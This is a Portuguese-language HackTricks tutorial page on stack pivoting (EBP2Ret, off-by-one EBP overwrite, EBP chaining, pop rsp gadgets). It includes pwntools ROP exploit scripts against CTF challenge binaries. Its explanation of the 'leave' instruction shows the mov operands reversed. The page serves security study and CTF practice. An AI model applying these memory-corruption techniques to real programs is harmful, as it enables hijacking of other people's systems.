hacktricks/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

# Stack Pivoting - EBP2Ret - EBP chaining

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## Informação Básica

Essa técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de múltiplas funções por meio do uso cuidadoso do registro EBP e da sequência de instruções **`leave; ret`**.

Como lembrete, **`leave`** basicamente significa:
```
mov       ebp, esp
pop       ebp
ret
```
E como o **EBP está na pilha** antes do EIP, é possível controlá-lo controlando a pilha.

### EBP2Ret

Esta técnica é particularmente útil quando você pode **alterar o registro EBP, mas não tem uma maneira direta de alterar o registro EIP**. Ela aproveita o comportamento das funções quando terminam de executar.

Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponta para uma área na memória onde está localizado o endereço do seu shellcode (mais 4 bytes para considerar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para esta localização manipulada, e a subsequente operação `pop` diminui o ESP em 4 bytes, **fazendo com que ele aponte efetivamente para um endereço armazenado pelo atacante lá.**\
Observe como você **precisa saber 2 endereços**: Onde o ESP vai, onde você precisará escrever o endereço apontado pelo ESP.

#### Construção do Exploit

Primeiro, você precisa saber um **endereço onde pode escrever dados / endereços arbitrários**. O ESP apontará aqui e **executará o primeiro `ret`**.

Em seguida, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar:

* Um endereço válido de [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
* O endereço do **`system()`** seguido por **4 bytes de lixo** e o endereço de `"/bin/sh"` (bits x86).
* O endereço de um gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado.
* Alguma cadeia [**ROP**](../rop-return-oriented-programing/)

Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver **`4` bytes** por causa da parte **`pop`** da instrução `leave`. Seria possível abusar desses 4B para definir um **segundo EBP falso** e continuar controlando a execução.

#### Exploit Off-By-One

Existe uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode **apenas modificar o byte menos significativo do EBP**. Nesse caso, o local de memória que armazena o endereço para pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.\
Normalmente, o byte 0x00 é modificado para pular o mais longe possível.

Além disso, é comum usar um trenó de RET na pilha e colocar a verdadeira cadeia ROP no final para tornar mais provável que o novo ESP aponte para dentro do RET SLED e a cadeia ROP final seja executada.

### **EBP Chaining**

Portanto, colocando um endereço controlado na entrada `EBP` da pilha e um endereço para `leave; ret` em `EIP`, é possível **mover o `ESP` para o endereço `EBP` controlado da pilha**.

Agora, o **`ESP`** é controlado apontando para um endereço desejado e a próxima instrução a ser executada é um `RET`. Para abusar disso, é possível colocar neste local controlado do ESP o seguinte:

* **`&(próximo EBP falso)`** -> Carregar o novo EBP por causa do `pop ebp` da instrução `leave`
* **`system()`** -> Chamado por `ret`
* **`&(leave;ret)`** -> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente
* **`&("/bin/sh")`**-> Parâmetro para `system`

Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.

Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/), mas mais complexo sem benefício aparente, mas poderia ser interessante em alguns casos extremos.

Além disso, aqui está um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **vazamento de pilha** para chamar uma função vencedora. Este é o payload final da página:
```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())
```
## EBP pode não ser usado

Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca chega a controlar o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real.\
Isso ocorre porque o **prólogo e epílogo mudam** se o binário for otimizado.

* **Não otimizado:**
```bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
```
* **Otimizado:**
```bash
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return
```
## Outras maneiras de controlar RSP

### **Gadget `pop rsp`**

[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando essa técnica. Para este desafio, foi necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e um **vazamento da pilha**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())
```
### Gadget xchg \<reg>, rsp
```
pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp

Verifique a técnica ret2esp aqui:

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}

## Referências e Outros Exemplos

* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 bits, exploração off by one com uma cadeia rop começando com um ret sled
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64 bits, sem relro, canary, nx e pie. O programa fornece um vazamento para a pilha ou pie e um WWW de uma qword. Primeiro obtenha o vazamento da pilha e use o WWW para voltar e obter o vazamento do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas `.fini_array` + chamando `__libc_csu_fini` ([mais informações aqui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Abusando dessa escrita "eterna", é escrita uma cadeia ROP no .bss e acaba chamando-a pivotando com RBP.